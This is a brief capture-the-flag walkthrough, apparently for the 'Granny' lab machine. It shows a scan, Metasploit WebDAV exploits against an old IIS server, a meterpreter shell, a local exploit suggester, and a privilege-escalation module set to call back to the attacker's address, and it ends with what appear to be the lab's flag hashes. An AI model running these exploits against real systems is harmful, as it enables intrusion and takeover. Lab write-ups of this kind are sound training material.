Win: Granny

nos5a tebk el asl men Grandpa machine

```
nmap -sC -sV -oA nmapscan 10.10.10.15
```

same with grandpa

```
msfconsole
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhost 10.10.10.15
run
```

Doesnot work

```
use exploit/windows/iis/iis_webdav_upload_asp
set rhost 10.10.10.15
run
```

Worked !!!

```
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2568 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service


exit
ps

 1832  592   wmiprvse.exe       x86   0       NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\wbem\wmiprvse.exe
 1916  396   dllhost.exe
 2112  396   vssvc.exe
 2220  1464  w3wp.exe          x86   0       NT AUTHORITY\NETWORK SERVICE  c:\windows\system32\inetsrv\w3wp.exe
 2288  592   davcdata.exe       x86   0       NT AUTHORITY\NETWORK SERVICE  C:
\WINDOWS\system32\inetsrv\davcdata.exe
 2384  2220  svchost.exe        x86   0                                     C:\WINDOWS\Temp\rad16CD3.tmp\svchost.exe
 2500  804   wmiadap.exe
 2520  592   wmiprvse.exe
```

```
use post/multi/recon/local_exploit_suggester
set session 2
run

[*] 10.10.10.15 - Collecting local exploits for x86/windows...
[*] 10.10.10.15 - 29 exploit checks are being tried...
[+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
```

migrate then

```
use ms15_051_client_copy_image
set lhost 10.10.14.9
set lport 12345
```

```
700c5dc163014e22b3e408f8703f67d1
aa4beed1c0584445ab463a6747bd06e9
```